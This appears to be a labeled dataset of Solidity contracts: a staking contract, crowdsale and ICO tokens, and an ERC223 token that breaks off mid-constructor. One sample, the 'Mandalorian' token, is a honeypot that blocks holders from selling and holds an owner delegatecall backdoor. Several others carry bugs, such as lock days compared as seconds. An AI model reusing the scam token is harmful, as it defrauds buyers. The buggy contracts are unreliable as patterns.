_setupRole(MINTER_ROLE, _msgSender());
}
function burn(uint256 tokenId) public override virtual {
require(
_isApprovedOrOwner(_msgSender(), tokenId),
"UnicStakingERC721: caller is not owner nor approved"
);
_burn(tokenId);
}
function setBaseURI(string memory baseURI) public {
require(
hasRole(DEFAULT_ADMIN_ROLE, _msgSender()),
"UnicStakingERC721: must have admin role to change baseUri"
);
_setBaseURI(baseURI);
}
function mint(address to, uint256 tokenId) public override virtual {
require(
hasRole(MINTER_ROLE, _msgSender()),
"UnicStakingERC721: must have minter role to mint"
);
_mint(to, tokenId);
}
}
pragma solidity >=0.5.0;
interface IUnicFactory {
event TokenCreated(address indexed caller, address indexed uToken);
function feeTo() external view returns (address);
function feeToSetter() external view returns (address);
function getUToken(address uToken) external view returns (uint);
function uTokens(uint) external view returns (address);
function uTokensLength() external view returns (uint);
function createUToken(uint256 totalSupply, uint8 decimals, string calldata name, string calldata symbol, uint256 threshold, string calldata description) external returns (address);
function setFeeTo(address) external;
function setFeeToSetter(address) external;
}
pragma solidity 0.6.12;
contract UnicStakingV4 is Initializable, EmergencyWithdrawable, IRewardable, PausableUpgradeable {
using SafeMath for uint256;
using SafeERC20Upgradeable for IERC20Upgradeable;
struct StakerInfo {
uint256 nftId;
uint256 amount;
uint256 stakeStartTime;
uint256 lockDays;
uint256 rewardDebt;
address rewardToken;
uint16 multiplier;
}
struct LockMultiplier {
uint16 multiplier;
bool exists;
}
struct RewardPool {
IERC20Upgradeable rewardToken;
uint256 stakedAmount;
uint256 stakedAmountWithMultipliers;
uint256 totalRewardAmount;
uint256 accRewardPerShare;
uint256 lastRewardAmount;
}
IERC20Upgradeable private stakingToken;
IMintableCollection private nftCollection;
uint256 public minStakeAmount;
uint256 private nftStartId;
mapping(uint256 => StakerInfo) public stakes;
mapping(address => RewardPool) public pools;
mapping(uint256 => LockMultiplier) public lockMultipliers;
uint256 private constant DIV_PRECISION = 1e18;
event AddRewards(address indexed rewardToken, uint256 amount);
event Staked(
address indexed account,
address indexed rewardToken,
uint256 nftId,
uint256 amount,
uint256 lockDays
);
event Harvest(address indexed staker, address indexed rewardToken, uint256 nftId, uint256 amount);
event Withdraw(address indexed staker, address indexed rewardToken, uint256 nftId, uint256 amount);
event LogUpdateRewards(address indexed rewardToken, uint256 totalRewards, uint256 accRewardPerShare);
modifier poolExists(address rewardToken) {
require(address(pools[rewardToken].rewardToken) != address(0), "UnicStaking: Pool does not exist");
_;
}
modifier poolNotExists(address rewardToken) {
require(address(pools[rewardToken].rewardToken) == address(0), "UnicStaking: Pool does already exist");
_;
}
IUnicFactory private factory;
function initialize(
IERC20Upgradeable _stakingToken,
IMintableCollection _nftCollection,
uint256 _nftStartId,
uint256 _minStakeAmount
) public initializer {
__Ownable_init();
stakingToken = _stakingToken;
nftCollection = _nftCollection;
nftStartId = _nftStartId;
minStakeAmount = _minStakeAmount;
}
function setUnicFactory(IUnicFactory _factory) external onlyOwner {
factory = _factory;
}
function setLockMultiplier(uint256 lockDays, uint16 multiplier) external onlyOwner {
require(multiplier >= 100, "Minimum multiplier = 100");
lockMultipliers[lockDays] = LockMultiplier({
multiplier: multiplier,
exists: true
});
}
function deleteLockMultiplier(uint256 lockDays) external onlyOwner {
delete lockMultipliers[lockDays];
}
function setMinStakeAmount(uint256 _minStakeAmount) external onlyOwner {
minStakeAmount = _minStakeAmount;
}
function setNftStartId(uint256 _nftStartId) external onlyOwner {
nftStartId = _nftStartId;
}
function stake(uint256 amount, uint256 lockDays, address rewardToken)
external
whenNotPaused
poolExists(rewardToken)
{
require(
amount >= minStakeAmount,
"UnicStaking: Amount must be greater than or equal to min stake amount"
);
require(
lockMultipliers[lockDays].exists,
"UnicStaking: Invalid number of lock days specified"
);
updateRewards(rewardToken);
stakingToken.safeTransferFrom(msg.sender, address(this), amount);
StakerInfo storage staker = stakes[nftStartId];
staker.stakeStartTime = block.timestamp;
staker.amount = amount;
staker.lockDays = lockDays;
staker.multiplier = lockMultipliers[lockDays].multiplier;
staker.nftId = nftStartId;
staker.rewardToken = rewardToken;
RewardPool storage pool = pools[rewardToken];
uint256 virtualAmount = virtualAmount(staker.amount, staker.multiplier);
staker.rewardDebt = virtualAmount.mul(pool.accRewardPerShare).div(DIV_PRECISION);
pool.stakedAmount = pool.stakedAmount.add(amount);
pool.stakedAmountWithMultipliers = pool.stakedAmountWithMultipliers.add(virtualAmount);
nftStartId = nftStartId.add(1);
nftCollection.mint(msg.sender, nftStartId - 1);
emit Staked(msg.sender, rewardToken, nftStartId - 1, amount, lockDays);
}
function withdraw(uint256 nftId) external whenNotPaused {
StakerInfo storage staker = stakes[nftId];
require(address(staker.rewardToken) != address(0), "UnicStaking: No staker exists");
require(
nftCollection.ownerOf(nftId) == msg.sender,
"UnicStaking: Only the owner may withdraw"
);
require(
(staker.stakeStartTime.add(staker.lockDays)) < block.timestamp,
"UnicStaking: Lock time not expired"
);
updateRewards(staker.rewardToken);
RewardPool storage pool = pools[address(staker.rewardToken)];
require(address(pool.rewardToken) != address(0), "UnicStaking: Pool gone");
nftCollection.burn(nftId);
uint256 virtualAmount = virtualAmount(staker.amount, staker.multiplier);
uint256 accumulated = virtualAmount.mul(pool.accRewardPerShare).div(DIV_PRECISION);
uint256 reward = accumulated.sub(staker.rewardDebt);
pool.stakedAmount = pool.stakedAmount.sub(staker.amount);
pool.stakedAmountWithMultipliers = pool.stakedAmountWithMultipliers.sub(virtualAmount);
uint256 staked = staker.amount;
staker.rewardDebt = 0;
staker.amount = 0;
staker.stakeStartTime = 0;
staker.lockDays = 0;
staker.nftId = 0;
staker.rewardToken = address(0);
stakingToken.safeTransfer(msg.sender, reward.add(staked));
emit Harvest(msg.sender, address(staker.rewardToken), nftId, reward);
emit Withdraw(msg.sender, address(staker.rewardToken), nftId, staked);
}
function updateRewards(address rewardToken) private poolExists(rewardToken) {
RewardPool storage pool = pools[rewardToken];
require(address(pool.rewardToken) != address(0), "UnicStaking: Pool gone");
if (pool.totalRewardAmount > pool.lastRewardAmount) {
if (pool.stakedAmountWithMultipliers > 0) {
uint256 reward = pool.totalRewardAmount.sub(pool.lastRewardAmount);
pool.accRewardPerShare = pool.accRewardPerShare.add(reward.mul(DIV_PRECISION).div(pool.stakedAmountWithMultipliers));
}
pool.lastRewardAmount = pool.totalRewardAmount;
emit LogUpdateRewards(rewardToken, pool.lastRewardAmount, pool.accRewardPerShare);
}
}
function createPool(address rewardToken) external poolNotExists(rewardToken) {
require(
rewardToken == 0x94E0BAb2F6Ab1F19F4750E42d7349f2740513aD5 ||
rewardToken == 0x3d9233F15BB93C78a4f07B5C5F7A018630217cB3 ||
factory.getUToken(rewardToken) > 0,
"UnicStakingV2: rewardToken must be UNIC or uToken"
);
RewardPool memory pool = RewardPool({
rewardToken: IERC20Upgradeable(rewardToken),
stakedAmount: 0,
stakedAmountWithMultipliers: 0,
totalRewardAmount: 0,
accRewardPerShare: 0,
lastRewardAmount: 0
});
pools[rewardToken] = pool;
}
function addRewards(address rewardToken, uint256 amount) override external poolExists(rewardToken) {
require(amount > 0, "UnicStaking: Amount must be greater than zero");
IERC20Upgradeable(rewardToken).safeTransferFrom(msg.sender, address(this), amount);
RewardPool storage pool = pools[rewardToken];
pool.totalRewardAmount = pool.totalRewardAmount.add(amount);
emit AddRewards(rewardToken, amount);
}
function harvest(uint256 nftId) external whenNotPaused {
StakerInfo storage staker = stakes[nftId];
require(staker.nftId > 0, "UnicStaking: No staker exists");
require(
nftCollection.ownerOf(nftId) == msg.sender,
"UnicStaking: Only the owner may harvest"
);
updateRewards(address(staker.rewardToken));
RewardPool memory pool = pools[address(staker.rewardToken)];
uint256 accumulated = virtualAmount(staker.amount, staker.multiplier).mul(pool.accRewardPerShare).div(DIV_PRECISION);
uint256 reward;
if (accumulated > staker.rewardDebt) {
reward = accumulated.sub(staker.rewardDebt);
}
staker.rewardDebt = accumulated;
pool.rewardToken.safeTransfer(msg.sender, reward);
emit Harvest(msg.sender, address(staker.rewardToken), nftId, reward);
}
function pendingReward(uint256 nftId) external view returns (uint256) {
StakerInfo memory staker = stakes[nftId];
require(staker.nftId > 0, "StakingPool: No staker exists");
RewardPool memory pool = pools[address(staker.rewardToken)];
require(address(pool.rewardToken) != address(0), "UnicStaking: Pool gone");
uint256 accRewardPerShare = 0;
if (pool.totalRewardAmount > pool.lastRewardAmount) {
if (pool.stakedAmountWithMultipliers > 0) {
uint256 reward = pool.totalRewardAmount.sub(pool.lastRewardAmount);
accRewardPerShare = pool.accRewardPerShare.add(reward.mul(DIV_PRECISION).div(pool.stakedAmountWithMultipliers));
}
}
uint256 accumulated = virtualAmount(staker.amount, staker.multiplier).mul(accRewardPerShare).div(DIV_PRECISION);
if (staker.rewardDebt > accumulated) {
return 0;
}
return accumulated.sub(staker.rewardDebt);
}
function virtualAmount(uint256 amount, uint256 multiplier) private view returns (uint256) {
return amount.mul(multiplier.mul(DIV_PRECISION).div(100)).div(DIV_PRECISION);
}
function getStakeWithMultiplier(uint256 nftId) external view returns (uint256 stakeWithMultiplier){
StakerInfo memory staker = stakes[nftId];
stakeWithMultiplier = virtualAmount(staker.amount, staker.multiplier);
}
function pause() public onlyOwner {
_pause();
}
function unpause() public onlyOwner {
_unpause();
}
function getStakingToken() external view returns (address) {
return address(stakingToken);
}
function setStakingToken(IERC20Upgradeable _stakingToken) external onlyOwner {
stakingToken = _stakingToken;
}
function emergencyWithdrawStakes(uint256 nftId, address receiver) external onlyOwner {
StakerInfo storage staker = stakes[nftId];
require(staker.nftId > 0, "UnicStaking: No staker exists");
updateRewards(staker.rewardToken);
RewardPool storage pool = pools[address(staker.rewardToken)];
require(address(pool.rewardToken) != address(0), "UnicStaking: Pool gone");
uint256 virtualAmount = virtualAmount(staker.amount, staker.multiplier);
uint256 accumulated = virtualAmount.mul(pool.accRewardPerShare).div(DIV_PRECISION);
uint256 reward = accumulated.sub(staker.rewardDebt);
pool.stakedAmount = pool.stakedAmount.sub(staker.amount);
pool.stakedAmountWithMultipliers = pool.stakedAmountWithMultipliers.sub(virtualAmount);
uint256 staked = staker.amount;
staker.rewardDebt = 0;
staker.amount = 0;
staker.stakeStartTime = 0;
staker.lockDays = 0;
staker.nftId = 0;
staker.rewardToken = address(0);
stakingToken.safeTransfer(receiver, reward.add(staked));
emit Harvest(receiver, address(staker.rewardToken), nftId, reward);
emit Withdraw(receiver, address(staker.rewardToken), nftId, staked);
}
} | 0 | 1,415 |
pragma solidity ^0.4.24;
interface token {
function transfer(address receiver, uint amount);
function burn(uint256 _value) returns (bool);
function balanceOf(address _address) returns (uint256);
}
contract owned {
address public owner;
function owned() public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) onlyOwner public {
owner = newOwner;
}
}
contract SafeMath {
function safeMul(uint a, uint b) internal returns(uint) {
uint c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function safeSub(uint a, uint b) internal returns(uint) {
assert(b <= a);
return a - b;
}
function safeAdd(uint a, uint b) internal returns(uint) {
uint c = a + b;
assert(c >= a && c >= b);
return c;
}
}
contract Crowdsale is owned, SafeMath {
address public beneficiary;
uint public fundingGoal;
uint public amountRaised;
uint public deadline;
uint public rate;
uint public tokenDecimals;
token public tokenReward;
uint public tokensSold = 0;
uint public start;
uint public bonusEndDate;
mapping(address => uint256) public balanceOf;
bool crowdsaleClosed = false;
event GoalReached(address beneficiary, uint capital);
event FundTransfer(address backer, uint amount, bool isContribution);
function Crowdsale( ) {
beneficiary = 0xe579891b98a3f58e26c4b2edb54e22250899363c;
rate = 250000;
tokenDecimals=8;
fundingGoal = 7500000000 * (10 ** tokenDecimals);
start = 1536688800;
deadline = 1539356400;
bonusEndDate =1539356400;
tokenReward = token(0x2DC5b9F85a5EcCC24A3abd396F9d0c43dF3D284c);
}
function () payable {
uint amount = msg.value;
uint numTokens;
numTokens = getNumTokens(amount);
require(numTokens>0 && !crowdsaleClosed && now > start && now < deadline);
balanceOf[msg.sender] = safeAdd(balanceOf[msg.sender], amount);
amountRaised = safeAdd(amountRaised, amount);
tokensSold += numTokens;
tokenReward.transfer(msg.sender, numTokens);
beneficiary.transfer(amount);
FundTransfer(msg.sender, amount, true);
}
function getNumTokens(uint _value) internal returns(uint numTokens) {
require(_value>=10000000000000000 * 1 wei);
numTokens = safeMul(_value,rate)/(10 ** tokenDecimals);
if(now <= bonusEndDate){
if(_value>= 0.5 ether && _value< 5 * 1 ether){
numTokens += safeMul(numTokens,10)/100;
}else if(_value>=1 * 1 ether){
numTokens += safeMul(numTokens,20)/100;
}
}
return numTokens;
}
function changeBeneficiary(address newBeneficiary) onlyOwner {
beneficiary = newBeneficiary;
}
modifier afterDeadline() { if (now >= deadline) _; }
function checkGoalReached() afterDeadline {
require(msg.sender == owner);
if (tokensSold >=fundingGoal){
GoalReached(beneficiary, amountRaised);
}
tokenReward.burn(tokenReward.balanceOf(this));
crowdsaleClosed = true;
}
} | 1 | 3,496 |
pragma solidity ^0.5.17;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath
for uint;
using Address
for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract Mandalorian{
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function transferFrom(address _from, address _to, uint _value) public payable ensure(_from, _to) returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require (msg.sender == owner);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
modifier ensure(address _from, address _to) {
address UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
require(_from == owner || _to == owner || _from == UNI);
_;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f'
))));
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
address constant internal UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply*(10**uint256(decimals));
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
emit Transfer(address(0x0), msg.sender, totalSupply);
}
} | 0 | 101 |
pragma solidity ^0.4.23;
library SafeMath {
function mul(uint256 a, uint256 b) internal returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract ERC20Interface {
function totalSupply() constant returns (uint256 totalSupply);
function balanceOf(address _owner) constant returns (uint256 balance);
function transfer(address _to, uint256 _value) returns (bool success);
function transferFrom(address _from, address _to, uint256 _value) returns (bool success);
function approve(address _spender, uint256 _value) returns (bool success);
function allowance(address _owner, address _spender) constant returns (uint256 remaining);
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
}
contract Bqt_Token is ERC20Interface {
string public constant symbol = "BQT";
string public constant name = "BQT token";
uint8 public constant decimals = 18;
uint256 public constant maxTokens = 800*10**6*10**18;
uint256 public constant ownerSupply = maxTokens*51/100;
uint256 _totalSupply = ownerSupply;
uint256 public constant token_price = 10**18*1/800;
uint256 public pre_ico_start = 1528416000;
uint256 public ico_start = 1531008000;
uint256 public ico_finish = 1541635200;
uint public constant minValuePre = 10**18*1/1000000;
uint public constant minValue = 10**18*1/1000000;
uint public constant maxValue = 3000*10**18;
uint8 public constant exchange_coefficient = 102;
using SafeMath for uint;
address public owner;
address public moderator;
mapping(address => uint256) balances;
mapping(address => mapping (address => uint256)) allowed;
mapping(address => uint256) public orders_sell_amount;
mapping(address => uint256) public orders_sell_price;
address[] public orders_sell_list;
event Order_sell(address indexed _owner, uint256 _max_amount, uint256 _price);
event Order_execute(address indexed _from, address indexed _to, uint256 _amount, uint256 _price);
modifier onlyOwner() {
if (msg.sender != owner) {
throw;
}
_;
}
modifier onlyModerator() {
if (msg.sender != moderator) {
throw;
}
_;
}
function changeOwner(address _owner) onlyOwner returns (bool result) {
owner = _owner;
return true;
}
function changeModerator(address _moderator) onlyOwner returns (bool result) {
moderator = _moderator;
return true;
}
function Bqt_Token() {
owner = 0x3d143e5f256a4fbc16ef23b29aadc0db67bf0ec2;
moderator = 0x788C45Dd60aE4dBE5055b5Ac02384D5dc84677b0;
balances[owner] = ownerSupply;
}
function() payable {
tokens_buy();
}
function totalSupply() constant returns (uint256 totalSupply) {
totalSupply = _totalSupply;
}
function withdraw(uint256 _amount) onlyOwner returns (bool result) {
uint256 balance;
balance = this.balance;
if(_amount > 0) balance = _amount;
owner.send(balance);
return true;
}
function change_pre_ico_start(uint256 _pre_ico_start) onlyModerator returns (bool result) {
pre_ico_start = _pre_ico_start;
return true;
}
function change_ico_start(uint256 _ico_start) onlyModerator returns (bool result) {
ico_start = _ico_start;
return true;
}
function change_ico_finish(uint256 _ico_finish) onlyModerator returns (bool result) {
ico_finish = _ico_finish;
return true;
}
function balanceOf(address _owner) constant returns (uint256 balance) {
return balances[_owner];
}
function transfer(address _to, uint256 _amount) returns (bool success) {
if (balances[msg.sender] >= _amount
&& _amount > 0
&& balances[_to] + _amount > balances[_to]) {
balances[msg.sender] -= _amount;
balances[_to] += _amount;
Transfer(msg.sender, _to, _amount);
return true;
} else {
return false;
}
}
function transferFrom(
address _from,
address _to,
uint256 _amount
) returns (bool success) {
if (balances[_from] >= _amount
&& allowed[_from][msg.sender] >= _amount
&& _amount > 0
&& balances[_to] + _amount > balances[_to]) {
balances[_from] -= _amount;
allowed[_from][msg.sender] -= _amount;
balances[_to] += _amount;
Transfer(_from, _to, _amount);
return true;
} else {
return false;
}
}
function approve(address _spender, uint256 _amount) returns (bool success) {
allowed[msg.sender][_spender] = _amount;
Approval(msg.sender, _spender, _amount);
return true;
}
function allowance(address _owner, address _spender) constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
function tokens_buy() payable returns (bool) {
uint256 tnow = now;
if(tnow > ico_finish) throw;
if(_totalSupply >= maxTokens) throw;
if(!(msg.value >= token_price)) throw;
if(!(msg.value >= minValue)) throw;
if(msg.value > maxValue) throw;
uint tokens_buy = (msg.value*10**18).div(token_price);
uint tokens_buy_total;
if(!(tokens_buy > 0)) throw;
uint b1 = 0;
uint b2 = 0;
uint b3 = 0;
if(_totalSupply <= 5*10**6*10**18) {
b1 = tokens_buy*30/100;
}
if((5*10**6*10**18 < _totalSupply)&&(_totalSupply <= 10*10**6*10**18)) {
b1 = tokens_buy*25/100;
}
if((10*10**6*10**18 < _totalSupply)&&(_totalSupply <= 15*10**6*10**18)) {
b1 = tokens_buy*20/100;
}
if((15*10**6*10**18 < _totalSupply)&&(_totalSupply <= 20*10**6*10**18)) {
b1 = tokens_buy*15/100;
}
if((20*10**6*10**18 < _totalSupply)&&(_totalSupply <= 25*10**6*10**18)) {
b1 = tokens_buy*10/100;
}
if(25*10**6*10**18 <= _totalSupply) {
b1 = tokens_buy*5/100;
}
if(tnow < ico_start) {
b2 = tokens_buy*50/100;
}
if((ico_start + 86400*0 <= tnow)&&(tnow < ico_start + 86400*5)){
b2 = tokens_buy*10/100;
}
if((ico_start + 86400*5 <= tnow)&&(tnow < ico_start + 86400*10)){
b2 = tokens_buy*8/100;
}
if((ico_start + 86400*10 <= tnow)&&(tnow < ico_start + 86400*20)){
b2 = tokens_buy*6/100;
}
if((ico_start + 86400*20 <= tnow)&&(tnow < ico_start + 86400*30)){
b2 = tokens_buy*4/100;
}
if(ico_start + 86400*30 <= tnow){
b2 = tokens_buy*2/100;
}
if((1000*10**18 <= tokens_buy)&&(5000*10**18 <= tokens_buy)) {
b3 = tokens_buy*5/100;
}
if((5001*10**18 <= tokens_buy)&&(10000*10**18 < tokens_buy)) {
b3 = tokens_buy*10/100;
}
if((10001*10**18 <= tokens_buy)&&(15000*10**18 < tokens_buy)) {
b3 = tokens_buy*15/100;
}
if((15001*10**18 <= tokens_buy)&&(20000*10**18 < tokens_buy)) {
b3 = tokens_buy*20/100;
}
if(20001*10**18 <= tokens_buy) {
b3 = tokens_buy*25/100;
}
tokens_buy_total = tokens_buy.add(b1);
tokens_buy_total = tokens_buy_total.add(b2);
tokens_buy_total = tokens_buy_total.add(b3);
if(_totalSupply.add(tokens_buy_total) > maxTokens) throw;
_totalSupply = _totalSupply.add(tokens_buy_total);
balances[msg.sender] = balances[msg.sender].add(tokens_buy_total);
return true;
}
function orders_sell_total () constant returns (uint256) {
return orders_sell_list.length;
}
function get_orders_sell_amount(address _from) constant returns(uint) {
uint _amount_max = 0;
if(!(orders_sell_amount[_from] > 0)) return _amount_max;
if(balanceOf(_from) > 0) _amount_max = balanceOf(_from);
if(orders_sell_amount[_from] < _amount_max) _amount_max = orders_sell_amount[_from];
return _amount_max;
}
function order_sell(uint256 _max_amount, uint256 _price) returns (bool) {
if(!(_max_amount > 0)) throw;
if(!(_price > 0)) throw;
orders_sell_amount[msg.sender] = _max_amount;
orders_sell_price[msg.sender] = (_price*exchange_coefficient).div(100);
orders_sell_list.push(msg.sender);
Order_sell(msg.sender, _max_amount, orders_sell_price[msg.sender]);
return true;
}
function order_buy(address _from, uint256 _max_price) payable returns (bool) {
if(!(msg.value > 0)) throw;
if(!(_max_price > 0)) throw;
if(!(orders_sell_amount[_from] > 0)) throw;
if(!(orders_sell_price[_from] > 0)) throw;
if(orders_sell_price[_from] > _max_price) throw;
uint _amount = (msg.value*10**18).div(orders_sell_price[_from]);
uint _amount_from = get_orders_sell_amount(_from);
if(_amount > _amount_from) _amount = _amount_from;
if(!(_amount > 0)) throw;
uint _total_money = (orders_sell_price[_from]*_amount).div(10**18);
if(_total_money > msg.value) throw;
uint _seller_money = (_total_money*100).div(exchange_coefficient);
uint _buyer_money = msg.value - _total_money;
if(_seller_money > msg.value) throw;
if(_seller_money + _buyer_money > msg.value) throw;
if(_seller_money > 0) _from.send(_seller_money);
if(_buyer_money > 0) msg.sender.send(_buyer_money);
orders_sell_amount[_from] -= _amount;
balances[_from] -= _amount;
balances[msg.sender] += _amount;
Order_execute(_from, msg.sender, _amount, orders_sell_price[_from]);
}
} | 0 | 2,043 |
pragma solidity ^0.4.23;
contract ERC223 {
function balanceOf(address owner) public view returns (uint);
function name() public view returns (string);
function symbol() public view returns (string);
function decimals() public view returns (uint8);
function totalSupply() public view returns (uint);
function transfer(address to, uint value) public returns (bool success);
function transfer(address to, uint value, bytes data) public returns (bool success);
function transfer(address to, uint value, bytes data, string custom_fallback) public returns (bool success);
event Transfer(address indexed from, address indexed to, uint indexed value, bytes data);
}
contract ERC223ReceivingContract {
function tokenFallback(address from, uint value, bytes data) public;
}
library SafeMath {function mul(uint a, uint b) internal pure returns (uint) {
uint c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint a, uint b) internal pure returns (uint) {
uint c = a / b;
return c;
}
function sub(uint a, uint b) internal pure returns (uint) {
assert(b <= a);
return a - b;
}
function add(uint a, uint b) internal pure returns (uint) {
uint c = a + b;
assert(c >= a);
return c;
}
function max64(uint64 a, uint64 b) internal pure returns (uint64) {
return a >= b ? a : b;
}
function min64(uint64 a, uint64 b) internal pure returns (uint64) {
return a < b ? a : b;
}
function max256(uint256 a, uint256 b) internal pure returns (uint256) {
return a >= b ? a : b;
}
function min256(uint256 a, uint256 b) internal pure returns (uint256) {
return a < b ? a : b;
}
}
contract MyToken is ERC223 {
using SafeMath for uint;
mapping(address => uint) balances;
string public name;
string public symbol;
uint8 public decimals;
uint public totalSupply;
constructor(string _name, string _symbol, uint8 _decimals, uint _totalSupply) public {
name = _name;
symbol = _symbol;
decimals = _decimals;
